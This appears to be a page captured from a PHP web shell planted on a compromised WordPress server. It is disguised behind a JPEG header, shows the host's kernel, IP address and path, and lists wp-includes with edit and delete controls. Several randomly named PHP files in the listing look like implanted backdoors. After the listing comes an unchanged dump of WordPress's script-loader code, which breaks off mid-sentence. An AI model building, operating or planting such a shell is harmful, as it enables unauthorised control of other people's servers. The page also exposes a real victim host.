JFIF ÿØÿà JFIF  H H ÿí 6Photoshop 3.0 8BIM g fDv40PON15YC57AbScWj ÿÛ C    $$$$$$$$$,,,,,,333339999999999ÿÛ C <)!)<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<ÿ ÀÀ" ÿÄ   ÿÄ  ÿÚ   i®~€4 R ¡*MòwM¾óùÿ ºß?‹äûG_êýNqæóz[šGg&7ύÛ¸Ò0C61lE*M1 2]$–Ø•¶Äæ•&†*HT2SJАm $d"hM°¦˜ 0 š4Å ¬r­4KJ&Ö[c(¢Èa Òj“F *¤ Š,¢hLM‰¦¾wßüGN³ö¾™ãë?c?-Ò¹kÁ2×&±.T–oÐiËÓ`č0"“)T°L!‰–ŠIL¤Ó‰ TÄ À„Ð*Mb¹a,b›A4Èm ’74¤ÚD¨„®DÆ*š@@ (¦Ð4²êRX€r£L*hh,C[€Lh Å5(˜ƒªBˆLi¡´!çz~e{?³æjrUW3¢a²÷cçy´Ììö~sß“ESH¤!€Æ€†ŒcHš`,¢4 CT†˜  `‰ªY±Ù DChSjvJb¡² 6$ܲÀh1¡-¨€ª%Z$b¦…¤¹j¤C dr¸ªBaM ‚˜±Ø£¯ç;¹¾ƒ¥~b½Ì»Â ªeŸgÇí³×b1LTС+0šE%AIÙ‰e´"’!„¶É¤Éw ÒN„ÅZ„ †„6@ÐÕ„'D°¶f´K™a%32”&¥B`©Q` cŠ€hY/:µIµ!CYc 44žsêókëy=ŽgÇ×dÊâ©1¹¡×“¨æ‘°…`JS¨t$ÍÌ0ªNYRÕQ,hd¶‰¤Àj8”©…T”¢J mÀ–ÐÓB‰R&´˜Ah†Ù ¡*!*B  &óLC -HטjÆÜÃ&¦4ÐÀ!‰€2|k‚ÏsƒÉƯ+±h¢/Nj©Ë|c»ØùÏ¢ªL’FMJ@®ATÐÊ›¦†Ô r:—@2i ÓRRh4 ‹ˆOÏ_cŸ”öŽ/±~}%üË>›Îòó=ç¨õû¾r¨¯Ø­´àÐìYt›f‘T‡7"N–&Ñ) (!’Z&É ¤Hņ\¼Š•Ë(˜&‚i‚lš)±b~Ëã—+™¦®.Âh¦ jJ• .!°¦lÀC•ÍŠ³ñÎÏžS BDKR28 - $H3LL
— We are All Criminals —
Linux mail2.itdevelopment.ro 4.18.0-553.76.1.el8_10.x86_64 #1 SMP Tue Sep 23 05:21:08 EDT 2025 x86_64
  INFO SERVER : Apache PHP : 8.3.25
/home/notariatiosep/public_html/public.html2/wp-includes/ | HOME
188.247.240.81

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
ID3 dir drwxr-xr-x 2024-04-03 09:01 R D
IXR dir drwxr-xr-x 2023-12-20 14:50 R D
PHPMailer dir drwxr-xr-x 2023-12-20 14:50 R D
Requests dir drwxr-xr-x 2023-12-20 14:50 R D
SimplePie dir drwxr-xr-x 2024-11-13 23:23 R D
Text dir drwxr-xr-x 2024-11-13 23:23 R D
assets dir drwxr-xr-x 2024-11-13 23:23 R D
block-bindings dir drwxr-xr-x 2024-04-03 09:01 R D
block-patterns dir drwxr-xr-x 2023-12-20 14:50 R D
block-supports dir drwxr-xr-x 2025-04-16 03:44 R D
blocks dir drwxr-xr-x 2025-04-16 03:44 R D
certificates dir drwxr-xr-x 2023-12-20 14:50 R D
css dir drwxr-xr-x 2025-04-16 03:44 R D
customize dir drwxr-xr-x 2023-12-20 14:50 R D
fonts dir drwxr-xr-x 2024-04-03 09:01 R D
html-api dir drwxr-xr-x 2025-10-20 08:25 R D
images dir drwxr-xr-x 2023-12-20 14:50 R D
interactivity-api dir drwxr-xr-x 2024-04-03 09:01 R D
js dir drwxr-xr-x 2025-10-20 03:33 R D
l10n dir drwxr-xr-x 2024-04-03 09:01 R D
php-compat dir drwxr-xr-x 2023-12-20 14:50 R D
pomo dir drwxr-xr-x 2023-12-20 14:50 R D
rest-api dir drwxr-xr-x 2023-12-20 14:50 R D
sitemaps dir drwxr-xr-x 2023-12-20 14:50 R D
sodium_compat dir drwxr-xr-x 2023-12-20 14:50 R D
style-engine dir drwxr-xr-x 2023-12-20 14:50 R D
theme-compat dir drwxr-xr-x 2023-12-20 14:50 R D
widgets dir drwxr-xr-x 2023-12-20 14:50 R D
8zcezb0c.php 1.159 KB -rw-r--r-- 2025-10-20 07:15 R E G D
BDKR.txt 0.051 KB -rw-r--r-- 2025-10-20 09:47 R E G D
BDKR28_ejk3v9jf.php 23.183 KB -rw-r--r-- 2025-10-20 09:47 R E G D
BDKR28_stg4quzr.php 23.183 KB -rw-r--r-- 2025-10-20 07:15 R E G D
admin-bar.php 36.236 KB -rw-r--r-- 2025-05-01 03:43 R E G D
block-i18n.json 0.309 KB -rw-r--r-- 2021-08-11 11:38 R E G D
block-patterns.php 12.903 KB -rw-r--r-- 2025-04-16 03:44 R E G D
blocks.php 110.401 KB -rw-r--r-- 2025-07-16 03:43 R E G D
bookmark-template.php 12.469 KB -rw-r--r-- 2025-04-16 03:44 R E G D
bookmark.php 15.065 KB -rw-r--r-- 2024-07-17 02:53 R E G D
cache-compat.php 5.829 KB -rw-r--r-- 2022-10-10 20:52 R E G D
cache.php 13.158 KB -rw-r--r-- 2022-10-10 20:52 R E G D
canonical.php 33.714 KB -rw-r--r-- 2024-11-13 23:23 R E G D
capabilities.php 41.717 KB -rw-r--r-- 2024-11-13 23:23 R E G D
category.php 12.528 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-IXR.php 2.555 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-avif-info.php 28.921 KB -rw-r--r-- 2024-05-08 02:55 R E G D
class-feed.php 0.526 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-http.php 0.358 KB -rw-r--r-- 2022-06-17 13:50 R E G D
class-json.php 42.66 KB -rw-r--r-- 2023-02-03 17:05 R E G D
class-oembed.php 0.392 KB -rw-r--r-- 2022-06-17 13:50 R E G D
class-phpass.php 6.612 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-phpmailer.php 0.648 KB -rw-r--r-- 2020-07-21 15:28 R E G D
class-requests.php 2.185 KB -rw-r--r-- 2023-04-05 15:42 R E G D
class-smtp.php 0.446 KB -rw-r--r-- 2021-01-26 17:15 R E G D
class-walker-category.php 8.278 KB -rw-r--r-- 2023-09-08 12:02 R E G D
class-walker-comment.php 13.888 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-walker-nav-menu.php 11.762 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-block-editor-context.php 1.318 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-block-parser-frame.php 1.97 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-block-styles-registry.php 6.253 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-block-template.php 1.985 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-comment.php 9.216 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-manager.php 197.845 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-panel.php 10.459 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-widgets.php 70.518 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-date-query.php 34.895 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-exception.php 0.247 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-http-curl.php 12.247 KB -rw-r--r-- 2023-09-21 20:59 R E G D
class-wp-http-proxy.php 5.84 KB -rw-r--r-- 2023-06-22 17:06 R E G D
class-wp-http-requests-response.php 4.297 KB -rw-r--r-- 2023-10-11 09:35 R E G D
class-wp-http-response.php 2.907 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-http-streams.php 16.464 KB -rw-r--r-- 2023-09-21 20:59 R E G D
class-wp-http.php 40.604 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-image-editor-gd.php 19.689 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-image-editor-imagick.php 33.921 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-image-editor.php 17.116 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-meta-query.php 29.815 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-metadata-lazyloader.php 6.673 KB -rw-r--r-- 2023-05-11 13:45 R E G D
class-wp-navigation-fallback.php 8.995 KB -rw-r--r-- 2023-10-06 16:36 R E G D
class-wp-oembed-controller.php 6.743 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-plugin-dependencies.php 24.722 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-query.php 154.319 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-recovery-mode-cookie-service.php 6.716 KB -rw-r--r-- 2022-10-04 06:29 R E G D
class-wp-recovery-mode-link-service.php 3.382 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-rewrite.php 62.195 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-role.php 2.464 KB -rw-r--r-- 2023-09-08 12:02 R E G D
class-wp-script-modules.php 19.007 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-site.php 7.279 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-styles.php 10.752 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-tax-query.php 19.097 KB -rw-r--r-- 2024-04-03 09:01 R E G D
class-wp-term-query.php 39.911 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-theme-json-data.php 1.767 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-theme-json-schema.php 7.194 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-theme-json.php 159.712 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-user-query.php 42.632 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-user.php 22.455 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-widget-factory.php 3.269 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp.php 28.639 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wpdb.php 115.512 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class.wp-styles.php 0.33 KB -rw-r--r-- 2022-09-20 16:47 R E G D
comment-template.php 100.688 KB -rw-r--r-- 2025-07-16 03:43 R E G D
compat.php 15.992 KB -rw-r--r-- 2025-04-16 03:44 R E G D
cron.php 41.658 KB -rw-r--r-- 2025-04-16 03:44 R E G D
date.php 0.391 KB -rw-r--r-- 2022-06-17 13:50 R E G D
default-filters.php 35.837 KB -rw-r--r-- 2025-04-16 03:44 R E G D
default-widgets.php 2.241 KB -rw-r--r-- 2025-04-16 03:44 R E G D
deprecated.php 187.073 KB -rw-r--r-- 2025-04-16 03:44 R E G D
embed-template.php 0.33 KB -rw-r--r-- 2022-06-17 13:50 R E G D
embed.php 37.277 KB -rw-r--r-- 2025-04-16 03:44 R E G D
error-protection.php 4.024 KB -rw-r--r-- 2023-05-02 18:15 R E G D
feed-atom.php 3.048 KB -rw-r--r-- 2025-04-16 03:44 R E G D
feed-rdf.php 2.605 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed-rss.php 1.161 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed-rss2.php 3.71 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed.php 22.862 KB -rw-r--r-- 2024-11-13 23:23 R E G D
fonts.php 9.522 KB -rw-r--r-- 2024-11-13 23:23 R E G D
formatting.php 334.884 KB -rw-r--r-- 2025-07-16 03:43 R E G D
functions.php 283.744 KB -rw-r--r-- 2025-04-16 03:44 R E G D
functions.wp-styles.php 8.382 KB -rw-r--r-- 2024-07-17 02:53 R E G D
github_manz.php 2.289 KB -rw-r--r-- 2025-10-20 08:25 R E G D
global-styles-and-settings.php 20.763 KB -rw-r--r-- 2025-04-16 03:44 R E G D
http.php 24.719 KB -rw-r--r-- 2024-11-13 23:23 R E G D
https-detection.php 5.72 KB -rw-r--r-- 2025-04-16 03:44 R E G D
https-migration.php 4.63 KB -rw-r--r-- 2023-07-11 01:08 R E G D
kses.php 72.727 KB -rw-r--r-- 2025-04-16 03:44 R E G D
l10n.php 66.924 KB -rw-r--r-- 2025-04-16 03:44 R E G D
link-template.php 154.103 KB -rw-r--r-- 2025-04-16 03:44 R E G D
llex.php 78.586 KB -rw-r--r-- 2025-10-20 03:33 R E G D
load.php 55.117 KB -rw-r--r-- 2025-04-16 03:44 R E G D
locale.php 0.158 KB -rw-r--r-- 2019-10-08 19:49 R E G D
media.php 215.328 KB -rw-r--r-- 2025-07-16 03:43 R E G D
meta.php 63.714 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-blogs.php 25.239 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-default-filters.php 6.48 KB -rw-r--r-- 2023-02-24 04:53 R E G D
ms-deprecated.php 21.249 KB -rw-r--r-- 2024-07-17 02:53 R E G D
ms-files.php 2.68 KB -rw-r--r-- 2025-05-01 03:43 R E G D
ms-functions.php 89.436 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-load.php 19.417 KB -rw-r--r-- 2024-07-17 02:53 R E G D
ms-settings.php 4.099 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-site.php 40.352 KB -rw-r--r-- 2025-04-16 03:44 R E G D
nav-menu-template.php 25.381 KB -rw-r--r-- 2025-04-16 03:44 R E G D
option.php 100.649 KB -rw-r--r-- 2025-04-16 03:44 R E G D
pluggable-deprecated.php 6.176 KB -rw-r--r-- 2025-04-16 03:44 R E G D
plugin.php 34.634 KB -rw-r--r-- 2023-06-08 10:24 R E G D
post-formats.php 6.936 KB -rw-r--r-- 2024-07-17 02:53 R E G D
post-template.php 67.039 KB -rw-r--r-- 2025-04-16 03:44 R E G D
post.php 284.875 KB -rw-r--r-- 2025-04-16 03:44 R E G D
query.php 36.167 KB -rw-r--r-- 2023-08-24 11:31 R E G D
registration-functions.php 0.195 KB -rw-r--r-- 2020-11-12 14:47 R E G D
registration.php 0.195 KB -rw-r--r-- 2020-11-12 14:47 R E G D
rest-api.php 97.907 KB -rw-r--r-- 2025-04-16 03:44 R E G D
revision.php 30.021 KB -rw-r--r-- 2025-04-16 03:44 R E G D
rewrite.php 19.083 KB -rw-r--r-- 2024-11-13 23:23 R E G D
robots-template.php 5.063 KB -rw-r--r-- 2022-04-06 18:03 R E G D
rss-functions.php 0.249 KB -rw-r--r-- 2020-11-17 02:22 R E G D
rss.php 22.571 KB -rw-r--r-- 2024-11-13 23:23 R E G D
script-loader.php 130.139 KB -rw-r--r-- 2025-05-01 03:43 R E G D
session.php 0.252 KB -rw-r--r-- 2020-02-06 10:03 R E G D
sitemaps.php 3.162 KB -rw-r--r-- 2021-05-15 20:08 R E G D
speculative-loading.php 8.357 KB -rw-r--r-- 2025-04-16 03:44 R E G D
spl-autoload-compat.php 0.431 KB -rw-r--r-- 2020-11-12 14:47 R E G D
taxonomy.php 172.097 KB -rw-r--r-- 2025-04-16 03:44 R E G D
template-loader.php 5.894 KB -rw-r--r-- 2020-05-26 12:07 R E G D
template.php 23.588 KB -rw-r--r-- 2024-04-03 09:01 R E G D
theme-i18n.json 1.49 KB -rw-r--r-- 2025-04-16 03:44 R E G D
theme-previews.php 2.766 KB -rw-r--r-- 2024-04-03 09:01 R E G D
theme.json 8.5 KB -rw-r--r-- 2024-07-17 02:53 R E G D
theme.php 131.155 KB -rw-r--r-- 2025-04-16 03:44 R E G D
to90at2y.php 1.159 KB -rw-r--r-- 2025-10-20 09:47 R E G D
update.php 36.624 KB -rw-r--r-- 2025-04-16 03:44 R E G D
user.php 171.702 KB -rw-r--r-- 2025-04-16 03:44 R E G D
vars.php 6.408 KB -rw-r--r-- 2025-04-16 03:44 R E G D
version.php 1.064 KB -rw-r--r-- 2025-10-01 03:44 R E G D
widgets.php 69.062 KB -rw-r--r-- 2025-04-16 03:44 R E G D
wp-db.php 0.435 KB -rw-r--r-- 2022-07-22 01:15 R E G D
wp-diff.php 0.78 KB -rw-r--r-- 2025-04-16 03:44 R E G D
REQUEST EXIT
add( 'wp-tinymce', includes_url( 'js/tinymce/' ) . 'wp-tinymce.js', array(), $tinymce_version ); } else { $scripts->add( 'wp-tinymce-root', includes_url( 'js/tinymce/' ) . "tinymce$dev_suffix.js", array(), $tinymce_version ); $scripts->add( 'wp-tinymce', includes_url( 'js/tinymce/' ) . "plugins/compat3x/plugin$dev_suffix.js", array( 'wp-tinymce-root' ), $tinymce_version ); } $scripts->add( 'wp-tinymce-lists', includes_url( "js/tinymce/plugins/lists/plugin$suffix.js" ), array( 'wp-tinymce' ), $tinymce_version ); } /** * Registers all the WordPress vendor scripts that are in the standardized * `js/dist/vendor/` location. * * For the order of `$scripts->add` see `wp_default_scripts`. * * @since 5.0.0 * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @param WP_Scripts $scripts WP_Scripts object. */ function wp_default_packages_vendor( $scripts ) { global $wp_locale; $suffix = wp_scripts_get_suffix(); $vendor_scripts = array( 'react', 'react-dom' => array( 'react' ), 'react-jsx-runtime' => array( 'react' ), 'regenerator-runtime', 'moment', 'lodash', 'wp-polyfill-fetch', 'wp-polyfill-formdata', 'wp-polyfill-node-contains', 'wp-polyfill-url', 'wp-polyfill-dom-rect', 'wp-polyfill-element-closest', 'wp-polyfill-object-fit', 'wp-polyfill-inert', 'wp-polyfill', ); $vendor_scripts_versions = array( 'react' => '18.3.1.1', // Final .1 due to switch to UMD build, can be removed in the next update. 'react-dom' => '18.3.1.1', // Final .1 due to switch to UMD build, can be removed in the next update. 'react-jsx-runtime' => '18.3.1', 'regenerator-runtime' => '0.14.1', 'moment' => '2.30.1', 'lodash' => '4.17.21', 'wp-polyfill-fetch' => '3.6.20', 'wp-polyfill-formdata' => '4.0.10', 'wp-polyfill-node-contains' => '4.8.0', 'wp-polyfill-url' => '3.6.4', 'wp-polyfill-dom-rect' => '4.8.0', 'wp-polyfill-element-closest' => '3.0.2', 'wp-polyfill-object-fit' => '2.3.5', 'wp-polyfill-inert' => '3.1.3', 'wp-polyfill' => '3.15.0', ); foreach ( $vendor_scripts as $handle => $dependencies ) { if ( is_string( $dependencies ) ) { $handle = $dependencies; $dependencies = array(); } $path = "/wp-includes/js/dist/vendor/$handle$suffix.js"; $version = $vendor_scripts_versions[ $handle ]; $scripts->add( $handle, $path, $dependencies, $version, 1 ); } did_action( 'init' ) && $scripts->add_inline_script( 'lodash', 'window.lodash = _.noConflict();' ); did_action( 'init' ) && $scripts->add_inline_script( 'moment', sprintf( "moment.updateLocale( '%s', %s );", esc_js( get_user_locale() ), wp_json_encode( array( 'months' => array_values( $wp_locale->month ), 'monthsShort' => array_values( $wp_locale->month_abbrev ), 'weekdays' => array_values( $wp_locale->weekday ), 'weekdaysShort' => array_values( $wp_locale->weekday_abbrev ), 'week' => array( 'dow' => (int) get_option( 'start_of_week', 0 ), ), 'longDateFormat' => array( 'LT' => get_option( 'time_format', __( 'g:i a' ) ), 'LTS' => null, 'L' => null, 'LL' => get_option( 'date_format', __( 'F j, Y' ) ), 'LLL' => __( 'F j, Y g:i a' ), 'LLLL' => null, ), ) ) ), 'after' ); } /** * Returns contents of an inline script used in appending polyfill scripts for * browsers which fail the provided tests. The provided array is a mapping from * a condition to verify feature support to its polyfill script handle. * * @since 5.0.0 * * @param WP_Scripts $scripts WP_Scripts object. * @param string[] $tests Features to detect. * @return string Conditional polyfill inline script. */ function wp_get_script_polyfill( $scripts, $tests ) { $polyfill = ''; foreach ( $tests as $test => $handle ) { if ( ! array_key_exists( $handle, $scripts->registered ) ) { continue; } $src = $scripts->registered[ $handle ]->src; $ver = $scripts->registered[ $handle ]->ver; if ( ! preg_match( '|^(https?:)?//|', $src ) && ! ( $scripts->content_url && str_starts_with( $src, $scripts->content_url ) ) ) { $src = $scripts->base_url . $src; } if ( ! empty( $ver ) ) { $src = add_query_arg( 'ver', $ver, $src ); } /** This filter is documented in wp-includes/class-wp-scripts.php */ $src = esc_url( apply_filters( 'script_loader_src', $src, $handle ) ); if ( ! $src ) { continue; } $polyfill .= ( // Test presence of feature... '( ' . $test . ' ) || ' . /* * ...appending polyfill on any failures. Cautious viewers may balk * at the `document.write`. Its caveat of synchronous mid-stream * blocking write is exactly the behavior we need though. */ 'document.write( \'\n"; } $concat = str_split( $concat, 128 ); $concatenated = ''; foreach ( $concat as $key => $chunk ) { $concatenated .= "&load%5Bchunk_{$key}%5D={$chunk}"; } $src = $wp_scripts->base_url . "/wp-admin/load-scripts.php?c={$zip}" . $concatenated . '&ver=' . $wp_scripts->default_version; echo "\n"; } if ( ! empty( $wp_scripts->print_html ) ) { echo $wp_scripts->print_html; } } /** * Prints the script queue in the HTML head on the front end. * * Postpones the scripts that were queued for the footer. * wp_print_footer_scripts() is called in the footer to print these scripts. * * @since 2.8.0 * * @global WP_Scripts $wp_scripts * * @return string[] Handles of the scripts that were printed. */ function wp_print_head_scripts() { global $wp_scripts; if ( ! did_action( 'wp_print_scripts' ) ) { /** This action is documented in wp-includes/functions.wp-scripts.php */ do_action( 'wp_print_scripts' ); } if ( ! ( $wp_scripts instanceof WP_Scripts ) ) { return array(); // No need to run if nothing is queued. } return print_head_scripts(); } /** * Private, for use in *_footer_scripts hooks * * @since 3.3.0 */ function _wp_footer_scripts() { print_late_styles(); print_footer_scripts(); } /** * Hooks to print the scripts and styles in the footer. * * @since 2.8.0 */ function wp_print_footer_scripts() { /** * Fires when footer scripts are printed. * * @since 2.8.0 */ do_action( 'wp_print_footer_scripts' ); } /** * Wrapper for do_action( 'wp_enqueue_scripts' ). * * Allows plugins to queue scripts for the front end using wp_enqueue_script(). * Runs first in wp_head() where all is_home(), is_page(), etc. functions are available. * * @since 2.8.0 */ function wp_enqueue_scripts() { /** * Fires when scripts and styles are enqueued. * * @since 2.8.0 */ do_action( 'wp_enqueue_scripts' ); } /** * Prints the styles queue in the HTML head on admin pages. * * @since 2.8.0 * * @global bool $concatenate_scripts * * @return string[] Handles of the styles that were printed. */ function print_admin_styles() { global $concatenate_scripts; $wp_styles = wp_styles(); script_concat_settings(); $wp_styles->do_concat = $concatenate_scripts; $wp_styles->do_items( false ); /** * Filters whether to print the admin styles. * * @since 2.8.0 * * @param bool $print Whether to print the admin styles. Default true. */ if ( apply_filters( 'print_admin_styles', true ) ) { _print_styles(); } $wp_styles->reset(); return $wp_styles->done; } /** * Prints the styles that were queued too late for the HTML head. * * @since 3.3.0 * * @global WP_Styles $wp_styles * @global bool $concatenate_scripts * * @return array|void */ function print_late_styles() { global $wp_styles, $concatenate_scripts; if ( ! ( $wp_styles instanceof WP_Styles ) ) { return; } script_concat_settings(); $wp_styles->do_concat = $concatenate_scripts; $wp_styles->do_footer_items(); /** * Filters whether to print the styles queued too late for the HTML head. * * @since 3.3.0 * * @param bool $print Whether to print the 'late' styles. Default true. */ if ( apply_filters( 'print_late_styles', true ) ) { _print_styles(); } $wp_styles->reset(); return $wp_styles->done; } /** * Prints styles (internal use only). * * @ignore * @since 3.3.0 * * @global bool $compress_css */ function _print_styles() { global $compress_css; $wp_styles = wp_styles(); $zip = $compress_css ? 1 : 0; if ( $zip && defined( 'ENFORCE_GZIP' ) && ENFORCE_GZIP ) { $zip = 'gzip'; } $concat = trim( $wp_styles->concat, ', ' ); $type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"'; if ( $concat ) { $dir = $wp_styles->text_direction; $ver = $wp_styles->default_version; $concat = str_split( $concat, 128 ); $concatenated = ''; foreach ( $concat as $key => $chunk ) { $concatenated .= "&load%5Bchunk_{$key}%5D={$chunk}"; } $href = $wp_styles->base_url . "/wp-admin/load-styles.php?c={$zip}&dir={$dir}" . $concatenated . '&ver=' . $ver; echo "\n"; if ( ! empty( $wp_styles->print_code ) ) { echo "\n"; echo $wp_styles->print_code; echo "\n\n"; } } if ( ! empty( $wp_styles->print_html ) ) { echo $wp_styles->print_html; } } /** * Determines the concatenation and compression settings for scripts and styles. * * @since 2.8.0 * * @global bool $concatenate_scripts * @global bool $compress_scripts * @global bool $compress_css */ function script_concat_settings() { global $concatenate_scripts, $compress_scripts, $compress_css; $compressed_output = ( ini_get( 'zlib.output_compression' ) || 'ob_gzhandler' === ini_get( 'output_handler' ) ); $can_compress_scripts = ! wp_installing() && get_site_option( 'can_compress_scripts' ); if ( ! isset( $concatenate_scripts ) ) { $concatenate_scripts = defined( 'CONCATENATE_SCRIPTS' ) ? CONCATENATE_SCRIPTS : true; if ( ( ! is_admin() && ! did_action( 'login_init' ) ) || ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ) { $concatenate_scripts = false; } } if ( ! isset( $compress_scripts ) ) { $compress_scripts = defined( 'COMPRESS_SCRIPTS' ) ? COMPRESS_SCRIPTS : true; if ( $compress_scripts && ( ! $can_compress_scripts || $compressed_output ) ) { $compress_scripts = false; } } if ( ! isset( $compress_css ) ) { $compress_css = defined( 'COMPRESS_CSS' ) ? COMPRESS_CSS : true; if ( $compress_css && ( ! $can_compress_scripts || $compressed_output ) ) { $compress_css = false; } } } /** * Handles the enqueueing of block scripts and styles that are common to both * the editor and the front-end. * * @since 5.0.0 */ function wp_common_block_scripts_and_styles() { if ( is_admin() && ! wp_should_load_block_editor_scripts_and_styles() ) { return; } wp_enqueue_style( 'wp-block-library' ); if ( current_theme_supports( 'wp-block-styles' ) && ! wp_should_load_separate_core_block_assets() ) { wp_enqueue_style( 'wp-block-library-theme' ); } /** * Fires after enqueuing block assets for both editor and front-end. * * Call `add_action` on any hook before 'wp_enqueue_scripts'. * * In the function call you supply, simply use `wp_enqueue_script` and * `wp_enqueue_style` to add your functionality to the Gutenberg editor. * * @since 5.0.0 */ do_action( 'enqueue_block_assets' ); } /** * Applies a filter to the list of style nodes that comes from WP_Theme_JSON::get_style_nodes(). * * This particular filter removes all of the blocks from the array. * * We want WP_Theme_JSON to be ignorant of the implementation details of how the CSS is being used. * This filter allows us to modify the output of WP_Theme_JSON depending on whether or not we are * loading separate assets, without making the class aware of that detail. * * @since 6.1.0 * * @param array $nodes The nodes to filter. * @return array A filtered array of style nodes. */ function wp_filter_out_block_nodes( $nodes ) { return array_filter( $nodes, static function ( $node ) { return ! in_array( 'blocks', $node['path'], true ); }, ARRAY_FILTER_USE_BOTH ); } /** * Enqueues the global styles defined via theme.json. * * @since 5.8.0 */ function wp_enqueue_global_styles() { $assets_on_demand = wp_should_load_block_assets_on_demand(); $is_block_theme = wp_is_block_theme(); $is_classic_theme = ! $is_block_theme; /* * Global styles should be printed in the head for block themes, or for classic themes when loading assets on * demand is disabled, which is the default. * The footer should only be used for classic themes when loading assets on demand is enabled. * * See https://core.trac.wordpress.org/ticket/53494 and https://core.trac.wordpress.org/ticket/61965. */ if ( ( $is_block_theme && doing_action( 'wp_footer' ) ) || ( $is_classic_theme && doing_action( 'wp_footer' ) && ! $assets_on_demand ) || ( $is_classic_theme && doing_action( 'wp_enqueue_scripts' ) && $assets_on_demand ) ) { return; } /* * If loading the CSS for each block separately, then load the theme.json CSS conditionally. * This removes the CSS from the global-styles stylesheet and adds it to the inline CSS for each block. * This filter must be registered before calling wp_get_global_stylesheet(); */ add_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' ); $stylesheet = wp_get_global_stylesheet(); if ( $is_block_theme ) { /* * Dequeue the Customizer's custom CSS * and add it before the global styles custom CSS. */ remove_action( 'wp_head', 'wp_custom_css_cb', 101 ); // Get the custom CSS from the Customizer and add it to the global stylesheet. $custom_css = wp_get_custom_css(); $stylesheet .= $custom_css; // Add the global styles custom CSS at the end. $stylesheet .= wp_get_global_stylesheet( array( 'custom-css' ) ); } if ( empty( $stylesheet ) ) { return; } wp_register_style( 'global-styles', false ); wp_add_inline_style( 'global-styles', $stylesheet ); wp_enqueue_style( 'global-styles' ); // Add each block as an inline css. wp_add_global_styles_for_blocks(); } /** * Checks if the editor scripts and styles for all registered block types * should be enqueued on the current screen. * * @since 5.6.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool Whether scripts and styles should be enqueued. */ function wp_should_load_block_editor_scripts_and_styles() { global $current_screen; $is_block_editor_screen = ( $current_screen instanceof WP_Screen ) && $current_screen->is_block_editor(); /** * Filters the flag that decides whether or not block editor scripts and styles * are going to be enqueued on the current screen. * * @since 5.6.0 * * @param bool $is_block_editor_screen Current value of the flag. */ return apply_filters( 'should_load_block_editor_scripts_and_styles', $is_block_editor_screen ); } /** * Checks whether separate styles should be loaded for core blocks. * * When this function returns true, other functions ensure that core blocks use their own separate stylesheets. * When this function returns false, all core blocks will use the single combined 'wp-block-library' stylesheet. * * As a side effect, the return value will by default result in block assets to be loaded on demand, via the * {@see wp_should_load_block_assets_on_demand()} function. This behavior can be separately altered via that function. * * This only affects front end and not the block editor screens. * * @since 5.8.0 * @see @see wp_should_load_block_assets_on_demand() * @see wp_enqueue_registered_block_scripts_and_styles() * @see register_block_style_handle() * * @return bool Whether separate core block assets will be loaded. */ function wp_should_load_separate_core_block_assets() { if ( is_admin() || is_feed() || wp_is_rest_endpoint() ) { return false; } /** * Filters whether block styles should be loaded separately. * * Returning false loads all core block assets, regardless of whether they are rendered * in a page or not. Returning true loads core block assets only when they are rendered. * * @since 5.8.0 * * @param bool $load_separate_assets Whether separate assets will be loaded. * Default false (all block assets are loaded, even when not used). */ return apply_filters( 'should_load_separate_core_block_assets', false ); } /** * Checks whether block styles should be loaded only on-render. * * When this function returns true, other functions ensure that blocks only load their assets on-render. * When this function returns false, all block assets are loaded regardless of whether they are rendered in a page. * * The default return value depends on the result of {@see wp_should_load_separate_core_block_assets()}, which controls * whether Core block stylesheets should be 